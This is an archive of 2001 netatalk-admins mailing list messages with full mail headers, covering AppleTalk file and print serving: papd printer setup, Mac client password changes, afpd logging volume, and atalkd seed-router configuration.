We recently ran the updates for Quark on our 9.x systems.  Once run, Quark
4.1 seemed to run fine, but Passport asks for a Network lockout key instead
of using the USB ones that are in the Blue and White G3 tower.  It looks for
the USB Key, then moves on to the Network key.  Since it never detects the
USB key, I don't know why it is doing this.  It only happened after the
update?

Any ideas?


From netatalk.administrators-errors@umich.edu  Fri Aug  3 07:10:49 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA04545
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 3 Aug 2001 07:10:49 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id HAA20949
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 3 Aug 2001 07:10:35 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA20929
	for netatalk.administrators-members@umich.edu; Fri, 3 Aug 2001 07:10:34 -0400 (EDT)
Received: from dave-world.net (mail.dave-world.net [204.189.73.1])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA20865
	for <netatalk-admins@umich.edu>; Fri, 3 Aug 2001 07:10:33 -0400 (EDT)
Received: from heath [205.139.250.148] by dave-world.net
  (SMTPD32-6.05) id A80C2D3600DE; Fri, 03 Aug 2001 06:16:28 -0500
Reply-To: <heath@davesworld.net>
From: "Heath Henderson" <heath@davesworld.net>
To: <MAC-SUPPORTERS@JISCMAIL.AC.UK>,
        "Netatalk List" <netatalk-admins@umich.edu>,
        "Appletalk on Linux" <LINUX-ATALK@LISTS.NETSPACE.ORG>
Subject:  Quark Passport 4.1
Date: Fri, 3 Aug 2001 06:17:46 -0500
Message-ID: <NDBBLIPGCLLELIOOICKOOEAHEAAA.heath@davesworld.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <NDBBLIPGCLLELIOOICKOIEAHEAAA.heath@dave-world.net>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Importance: Normal

We recently ran the updates for Quark on our 9.x systems.  Once run, Quark
4.1 seemed to run fine, but Passport asks for a Network lockout key instead
of using the USB ones that are in the Blue and White G3 tower.  It looks for
the USB Key, then moves on to the Network key.  Since it never detects the
USB key, I don't know why it is doing this.  It only happened after the
update?

Any ideas?


From netatalk.administrators-errors@umich.edu  Fri Aug  3 08:34:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA06736
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 3 Aug 2001 08:34:06 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id IAA12675
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 3 Aug 2001 08:33:52 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA12658
	for netatalk.administrators-members@umich.edu; Fri, 3 Aug 2001 08:33:51 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA12480
	for <netatalk-admins@umich.edu>; Fri, 3 Aug 2001 08:33:46 -0400 (EDT)
Received: from euc.de ([62.144.68.62])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id OAA06759;
	Fri, 3 Aug 2001 14:31:45 +0200
Message-ID: <3B6BEB67.A8B47FFA@euc.de>
Date: Sat, 04 Aug 2001 14:32:40 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.51 (Macintosh; U; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: heath@dave-world.net
CC: MAC-SUPPORTERS@JISCMAIL.AC.UK, Netatalk List <netatalk-admins@umich.edu>,
        Appletalk on Linux <LINUX-ATALK@LISTS.NETSPACE.ORG>
Subject: Re: Quark Passport 4.1
References: <NDBBLIPGCLLELIOOICKOIEAHEAAA.heath@dave-world.net>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

when ther system is up disconnect and then reconnect the usb key.
sometimes the system does not recognize the usb key. then start quark

Heath Henderson wrote:
> 
> We recently ran the updates for Quark on our 9.x systems.  Once run, Quark
> 4.1 seemed to run fine, but Passport asks for a Network lockout key instead
> of using the USB ones that are in the Blue and White G3 tower.  It looks for
> the USB Key, then moves on to the Network key.  Since it never detects the
> USB key, I don't know why it is doing this.  It only happened after the
> update?
> 
> Any ideas?

-- 
Mac Conin                    EUC Online GmbH
Geschäftsführer          Taubengasse 9

From netatalk.administrators-errors@umich.edu  Fri Aug  3 14:52:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA25087
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 3 Aug 2001 14:52:06 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id OAA03705
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 3 Aug 2001 14:52:06 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA03679
	for netatalk.administrators-members@umich.edu; Fri, 3 Aug 2001 14:52:05 -0400 (EDT)
Received: from Bayou.UH.EDU (Bayou.UH.EDU [129.7.1.7])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA03629
	for <netatalk-admins@umich.edu>; Fri, 3 Aug 2001 14:52:04 -0400 (EDT)
Received: from localhost (jzhao2@localhost)
	by Bayou.UH.EDU (8.8.8/8.8.8) with ESMTP id NAA17712
	for <netatalk-admins@umich.edu>; Fri, 3 Aug 2001 13:52:03 -0500 (CDT)
Date: Fri, 3 Aug 2001 13:52:03 -0500 (CDT)
From: Jin Zhao <jzhao2@Bayou.UH.EDU>
To: netatalk-admins@umich.edu
Subject: Re: problem of printing with papd on RH7.1 (fwd)
In-Reply-To: <Pine.OSF.4.21.0108021616400.15647-100000@Bayou.UH.EDU>
Message-ID: <Pine.OSF.4.21.0108031340200.29832-100000@Bayou.UH.EDU>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

The problem I posted yesterday was solved. In fact, I changed nothing to
my system(both linux netatalk server and mac clients), but everything
works well now. Weiod, isn'it ?

Another question here.

It appears papd require us to give a proper PPD file for each printer to
work. RedHat's printconf tool appears to use LPRng/foomatic, which doesn't
use PPD at all. What I did is fetching related CUPs ppd files from
linuxprinting.org, and use them for papd. This strategy works but not so
convenient. 

Can anybody explain why papd always require PPD files, although local
printing on RedHat Netatalk server works well without ppd ?

Also, it appears using a CUPS system is easier to be integerated with
papd. 

Thanks, 

Jin 

> Hi,
> 
> I get into a prinnting problem which I can't figure out. 
> 
> We have a RH7.1 box with netatalk-1.5pre6 setup. The printer is a
> HP-LaserJet1200 connected to the LAN. A Mac OS 8.6 client can see this
> priner named by papd, and set up the printer as "generic". When print from
> this client, nothing come out of the printer and no error message appear
> on both Mac client and RH7.1 system log. 
> 
> Any local print job on the RH7.1 box works fine.
> 
> Can anybody give some lights on this ?
> 
> The following is the contents of related files
> 
> papd.conf
> ----------------------------------------------------------------------------
> hplj1200:\
>                   :pr=|/usr/bin/lpr -Phplj1200:\
>                   :sp:\
>                   :ca:\
>                   :am=uams_guest.so,uams_pam.so:\
>                   :pd=/usr/share/postscript/ppd/HP_LaserJet_1200.PPD:
> ----------------------------------------------------------------------------
> 
> /etc/printcap
> ----------------------------------------------------------------------------
> hplj1200:\
>         :sh:\
>         :ml=0:\
>         :mx=0:\
>         :sd=/var/spool/lpd/hplj1200:\
>         :rm=192.168.0.26:\
>         :lpd_bounce=true:\
>         :if=/usr/share/printconf/mf_wrapper:
> ----------------------------------------------------------------------------
> 
> /var/log/message
> ----------------------------------------------------------------------------
> Aug 2 16:09:15 gege papd[7495]: child 7583 for "hplj1200" from 41201.138
> Aug 2 16:09:15 gege papd[7583]: Login NoAuthUAM: zhaojin 
> Aug 2 16:09:15 gege papd[7495]: child 7583 done 
> Aug 2 16:09:20 gege papd[7495]: child 7584 for "hplj1200" from 41201.138
> Aug 2 16:09:20 gege papd[7584]: Login NoAuthUAM: zhaojin 
> Aug 2 16:09:21 gege papd[7495]: child 7584 done
> ----------------------------------------------------------------------------
> 
> Thanks,
> 
> Jin
> 
> 
> 


From netatalk.administrators-errors@umich.edu  Fri Aug  3 17:57:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA04628
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 3 Aug 2001 17:57:44 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id RAA20402
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 3 Aug 2001 17:57:44 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA20386
	for netatalk.administrators-members@umich.edu; Fri, 3 Aug 2001 17:57:43 -0400 (EDT)
Received: from mta-1.gci.net (mta-1.gci.net [208.138.130.82])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA20345
	for <netatalk-admins@umich.edu>; Fri, 3 Aug 2001 17:57:42 -0400 (EDT)
Received: from mmp-2.gci.net ([208.138.130.81]) by mta-1.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GHIIC601.RP7 for
          <netatalk-admins@umich.edu>; Fri, 3 Aug 2001 13:57:42 -0800 
Received: from libranet ([24.237.134.83]) by mmp-2.gci.net
          (Netscape Messaging Server 4.15) with SMTP id GHIIC401.93R for
          <netatalk-admins@umich.edu>; Fri, 3 Aug 2001 13:57:40 -0800 
Content-Type: text/plain;
  charset="iso-8859-1"
From: Kris Finkenbinder <redbear@redbearnet.com>
Reply-To: redbear@redbearnet.com
To: netatalk-admins@umich.edu
Subject: Clients updating passwords - 2nd try
Date: Thu, 2 Aug 2001 13:57:53 -0800
X-Mailer: KMail [version 1.2]
MIME-Version: 1.0
Message-Id: <01080213575300.23892@libranet>
Content-Transfer-Encoding: 8bit

Hi, 
    I haven't received or seen any response yet on what needs to be done to 
allow my two Mac OS 8.6 iMacs to update their passwords on the server. The 
server is running FreeBSD 4.3, Netatalk 1.5pre6, and appears to be using the 
DHX uams correctly, as they are the only uams listed in my config files, 
besides uams_guest.so. The iMacs can login and are presented with the proper 
home folder and other designated shares. I got the AppleShare Client 3.8.8 
update from Apple's website, and the clients still can't update their 
passwords, although passwords longer than 8 characters work (another clue 
that DHX authentication is working, correct?).  The error I get always says 
that the old password is incorrect, even though I can be certain it isn't. 
    It would really be the cat's pajamas if I could get this problem solved. 
It's a small office with a skeleton staff of technophobes, and I hate to tell 
them they have to log into the server to change their passwords. Except for 
this small point, the server would require zero maintenance from them. 
    Is there a solution to this? 

TIA, 
--Kris Finkenbinder
redbear at redbearnet dot com


From netatalk.administrators-errors@umich.edu  Sat Aug  4 16:45:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA18690
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 4 Aug 2001 16:45:31 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id QAA12523
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 4 Aug 2001 16:45:16 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA12504
	for netatalk.administrators-members@umich.edu; Sat, 4 Aug 2001 16:45:16 -0400 (EDT)
Received: from mailout04.sul.t-online.de (mailout04.sul.t-online.com [194.25.134.18])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA12459
	for <netatalk-admins@umich.edu>; Sat, 4 Aug 2001 16:45:15 -0400 (EDT)
Received: from fwd06.sul.t-online.de 
	by mailout04.sul.t-online.de with smtp 
	id 15T8IZ-0006y7-02; Sat, 04 Aug 2001 22:45:27 +0200
Received: from asterix.probst-consorten.de (520089342635-0001@[62.153.9.236]) by fmrl06.sul.t-online.com
	with esmtp id 15T8IM-1A4jnEC; Sat, 4 Aug 2001 22:45:14 +0200
Received: from fridolin2 (fridolin2.probst-consorten.de [192.168.1.2])
	by asterix.probst-consorten.de (Postfix) with SMTP id 8A5473F05
	for <netatalk-admins@umich.edu>; Sat,  4 Aug 2001 23:02:25 +0200 (MEST)
Received: by localhost with Microsoft MAPI; Sat, 4 Aug 2001 22:25:23 +0200
Message-ID: <01C11D34.5A2DCB20.stefan.jugelt@gmx.de>
From: Stefan Jugelt <stefan.jugelt@gmx.de>
To: "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
Subject: unsubscribe
Date: Sat, 4 Aug 2001 22:25:21 +0200
X-Mailer: Microsoft Internet E-Mail/MAPI - 8.0.0.4211
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Sender: 520089342635-0001@t-dialin.net

unsubscribe


From netatalk.administrators-errors@umich.edu  Mon Aug  6 03:50:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA11770
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 6 Aug 2001 03:50:01 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id DAA01575
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 6 Aug 2001 03:49:46 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA01553
	for netatalk.administrators-members@umich.edu; Mon, 6 Aug 2001 03:49:46 -0400 (EDT)
Received: from mail.london-2.starlabs.net (mail.london-2.starlabs.net [212.125.75.4])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id DAA01504
	for <netatalk-admins@umich.edu>; Mon, 6 Aug 2001 03:49:44 -0400 (EDT)
X-VirusChecked: Checked
Received: (qmail 2810 invoked from network); 6 Aug 2001 07:42:01 -0000
Received: from smtp.morse.com (HELO bsexch2.morse.com) (195.152.231.118)
  by server-48.tower-1.london-2.starlabs.net with SMTP; 6 Aug 2001 07:42:01 -0000
Received: by bsexch2.morse.com with Internet Mail Service (5.5.2653.19)
	id <PQCQTWYC>; Mon, 6 Aug 2001 08:45:31 +0100
Message-ID: <55EC28DE870FD411A34D00508B6A767DD5E398@frexch1.morse.com>
From: Thomas Baumann <Thomas.Baumann@morse.com>
To: "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
Subject: afpd creates too many info-messages in messages file
Date: Mon, 6 Aug 2001 08:41:55 +0100 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id DAA11770

Hi there,

my netatalk (current 1.4.99 from SuSE rpm) is working fine, but
having set up the facility *.* /var/log/messages in my /etc/syslog.conf
afpd creates too many info-messages in messages file,
so that my messages file grows up immense.

How can I suppress these in my /var/log/messages file
or log all netatalk-messages to another file (e.g.
/var/big-partition/atalk.log)

I“d be glad if somebody can help me soon,
cause the free space on my harddisk decreases fastly.

Thank you for your early reply.

Thomas 

-------------------------------------
Thomas Baumann            tom@tiri.li
Postfach 110115       64216 Darmstadt
-------------------------------------

From netatalk.administrators-errors@umich.edu  Mon Aug  6 16:46:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA20321
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 6 Aug 2001 16:46:54 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id QAA29368
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 6 Aug 2001 16:46:54 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA29349
	for netatalk.administrators-members@umich.edu; Mon, 6 Aug 2001 16:46:53 -0400 (EDT)
Received: from cae.wisc.edu (galaga.cae.wisc.edu [144.92.240.30])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA29304
	for <netatalk-admins@umich.edu>; Mon, 6 Aug 2001 16:46:52 -0400 (EDT)
Received: from [128.104.177.81] (rmm005.che.wisc.edu [128.104.177.81])
	by cae.wisc.edu (8.9.1/8.9.0) with ESMTP id OAA21761
	for <netatalk-admins@umich.edu>; Mon, 6 Aug 2001 14:13:54 -0500 (CDT)
Message-Id: <v03007800b7949ae77bd0@[128.104.177.81]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Mon, 6 Aug 2001 14:13:18 -0500
To: netatalk-admins@umich.edu
From: David Haas <haasd@cae.wisc.edu>
Subject: solved: password incorrect/w shadow pass

Hi.

Nobody ever responded to my message :( , but I managed to get the
problem solved & I thought I'd post the results here.

My problem I couldn't get any uams which used pam to load - they
kept getting mod_symbol errors.  As a result, I couldn't get any mac
clients to log on.

When I checked config.h, I noticed I had /* #undef TCPWRAP */, 
and -lwrap was not shown in the LIBS line of the various Makefiles.
When I set #define TCPWRAP 1 & added in -lwrap to my Makefiles,
then recompiled, the uams loaded successfully & I could log in from the Macs.

I used the --with-tcp-wrappers flag when I called configure, and
I have tcp_wrappers-7.6-10 installed (according to rpm).  So I'm not
quite sure why things didn't get defined correctly . . . . but I think it's
probably a bug in the configure script.


****************************
The foot, the lies, the yellow-haired lady: Komo the Komodo tells all!



From netatalk.administrators-errors@umich.edu  Mon Aug  6 17:29:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA23214
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 6 Aug 2001 17:29:05 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id RAA29151
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 6 Aug 2001 17:29:05 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA29134
	for netatalk.administrators-members@umich.edu; Mon, 6 Aug 2001 17:29:04 -0400 (EDT)
Received: from dmz2.telesciences.com (dmz2.telesciences.com [12.35.246.10])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA29099
	for <netatalk-admins@umich.edu>; Mon, 6 Aug 2001 17:29:02 -0400 (EDT)
Received: from redshank.telesciences.com (redshank.telesciences.com [10.37.10.153])
	by dmz2.telesciences.com (Postfix) with ESMTP id 6A69A2C21D
	for <netatalk-admins@umich.edu>; Mon,  6 Aug 2001 17:28:47 -0400 (EDT)
Received: (from kindred@localhost)
	by redshank.telesciences.com (8.11.0/8.9.3) id f76LSlq28110;
	Mon, 6 Aug 2001 17:28:47 -0400
From: "David L Kindred (Dave)" <d.kindred@telesciences.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15215.3087.167505.978500@gargle.gargle.HOWL>
Date: Mon, 6 Aug 2001 17:28:47 -0400
To: netatalk-admins@umich.edu
Subject: Will netatalk replace uar?
X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid
Reply-To: d.kindred@telesciences.com

I've inherited an old installation of uar on an old SunOS box that I'd
like to replace.  I have a Linux box on all of the same networks as the
old box.  I've read all the message archives, and everything else I can
find, but I haven't seen a definitive statement as to whether netatalk
can in fact replace uar.

So, can netatalk replace uar?

-- 
David L. Kindred                       <mailto:d.kindred@telesciences.com>
Unix Systems & Network Administrator   Telesciences, Inc.
Phone: +1 856 642 4184                 2000 Midlantic Drive, Suite 410
Fax: +1 856 866 0185                   Mount Laurel, NJ 08054 USA

From netatalk.administrators-errors@umich.edu  Mon Aug  6 17:52:40 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA24289
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 6 Aug 2001 17:52:40 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id RAA03775
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 6 Aug 2001 17:52:27 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA03760
	for netatalk.administrators-members@umich.edu; Mon, 6 Aug 2001 17:52:26 -0400 (EDT)
Received: from avocet.mail.pas.earthlink.net (avocet.mail.pas.earthlink.net [207.217.121.50])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA03726
	for <netatalk-admins@umich.edu>; Mon, 6 Aug 2001 17:52:25 -0400 (EDT)
Received: from storage (1Cust50.tnt1.lancaster.pa.da.uu.net [63.17.97.50])
	by avocet.mail.pas.earthlink.net (EL-8_9_3_3/8.9.3) with ESMTP id OAA27425
	for <netatalk-admins@umich.edu>; Mon, 6 Aug 2001 14:52:36 -0700 (PDT)
Reply-To: <eddie798@earthlink.net>
From: "Ed McMan" <EdMcMan@Yahoo.com>
To: <netatalk-admins@umich.edu>
Subject: atalkd.conf is invincible
Date: Mon, 6 Aug 2001 17:56:33 -0400
Message-ID: <HJECKHPOHDPHPABMJFFDKEHOCFAA.EdMcMan@Yahoo.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200

 
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

I am trying to setup atalkd, however, atalkd.conf does not want to
stay configured!  I have the following in my atalkd.conf when I
start:
eth0 -net 123 -addr 123.1 -zone Testing

and, a while after I start atalkd:

eth0 -phase 2 -net 0-65534 -addr 123.1

Seems like it's trying to autoconfigure.. but there is a config file
there.  Any idea on how to stop it?

- -------------------------------------------------------------
|   Eddie J Schwartz <EdMcMan@m00.net> http://www.m00.net   |
|     AIM: The Cypher ICQ: 35576339 PGP ID: 0x96CDDED4      |
| "We Trills have an expression--at forty, you think you    |
| know everything.  At four hundred, you realize you know   |
|         nothing." - Dax, Star Trek Deep Space 9           |
- -------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 7.0.3 for non-commercial use <http://www.pgp.com>
Comment: m00

iQA/AwUBO28Sji6XaAWWzd7UEQJNDQCfRGum9MQFKkwhKp6XcgeeyMrviB4An0dB
kMT5nYPe6pq1Dwp8Gc3MHeOQ
=3iKd
-----END PGP SIGNATURE-----


From netatalk.administrators-errors@umich.edu  Mon Aug  6 18:37:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA25889
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 6 Aug 2001 18:37:11 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id SAA23944
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 6 Aug 2001 18:37:11 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA23927
	for netatalk.administrators-members@umich.edu; Mon, 6 Aug 2001 18:37:11 -0400 (EDT)
Received: from users.phg-online.de (users.phg-online.de [195.238.236.6])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA23880
	for <netatalk-admins@umich.edu>; Mon, 6 Aug 2001 18:37:09 -0400 (EDT)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id AAA07814;
	Tue, 7 Aug 2001 00:53:47 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Tue, 07 Aug 2001 00:39:33 +0200
Subject: Re: atalkd.conf is invincible
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: <eddie798@earthlink.net>, Ed McMan <EdMcMan@Yahoo.com>,
        <netatalk-admins@umich.edu>
Message-ID: <B794E944.F75D%Thomas.Kaiser@phg-online.de>
In-Reply-To: <HJECKHPOHDPHPABMJFFDKEHOCFAA.EdMcMan@Yahoo.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Mon, 6 Aug 2001 17:56:33 -0400, Ed McMan wrote:

> I have the following in my atalkd.conf when I
> start:
> eth0 -net 123 -addr 123.1 -zone Testing

You want netatalk to become an AppleTalk Router? First of all you need more
than one interface. And if you want to let Netatalk play the role of a seed
router, you have to supply the switch "-seed" also. So in your example:

    eth0 -seed -net 123 -addr 123.1 -zone Testing

But there is still another interface missing. So you might try the switch
"-router" also:

    eth0 -router -seed -net 123 -addr 123.1 -zone Testing

And it will be a good idea to use a node number higher than 127 (Apple
recommends this for afp servers) and a wider netrange, so your macs can
assign themselves faster an AppleTalk address, which will speed up starting
times:

    eth0 -router -seed -net 123-222 -addr 222.128 -zone Testing

> and, a while after I start atalkd:
> 
> eth0 -phase 2 -net 0-65534 -addr 123.1

Normal behaviour if Netatalk doesn't act like an AppleTalk seed router. ;-)

Regards,

Thomas 


From netatalk.administrators-errors@umich.edu  Mon Aug  6 23:24:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA07967
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 6 Aug 2001 23:24:14 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id XAA09407
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 6 Aug 2001 23:24:00 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA09393
	for netatalk.administrators-members@umich.edu; Mon, 6 Aug 2001 23:23:59 -0400 (EDT)
Received: from mta01.mail.mel.aone.net.au (mta01.mail.au.uu.net [203.2.192.81])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA09329
	for <netatalk-admins@umich.edu>; Mon, 6 Aug 2001 23:23:57 -0400 (EDT)
Received: from faxserver ([63.60.249.44]) by mta01.mail.mel.aone.net.au
          with ESMTP
          id <20010807032409.ZRJL3073.mta01.mail.mel.aone.net.au@faxserver>;
          Tue, 7 Aug 2001 13:24:09 +1000
Received: from [192.168.1.3] (helo=[192.168.1.3])
	by faxserver with esmtp (Exim 3.12 #1 (Debian))
	id 15Ttd6-00048V-00; Tue, 07 Aug 2001 09:17:48 +1000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 07 Aug 2001 09:17:50 +1000
Subject: Re: afpd creates too many info-messages in messages file
From: Nigel Pegram <editor.ac@churchesofchrist.org.au>
To: Thomas Baumann <Thomas.Baumann@morse.com>
CC: netatalk <netatalk-admins@umich.edu>
Message-ID: <B79562BE.23E8%editor.ac@churchesofchrist.org.au>
In-Reply-To: <55EC28DE870FD411A34D00508B6A767DD5E398@frexch1.morse.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
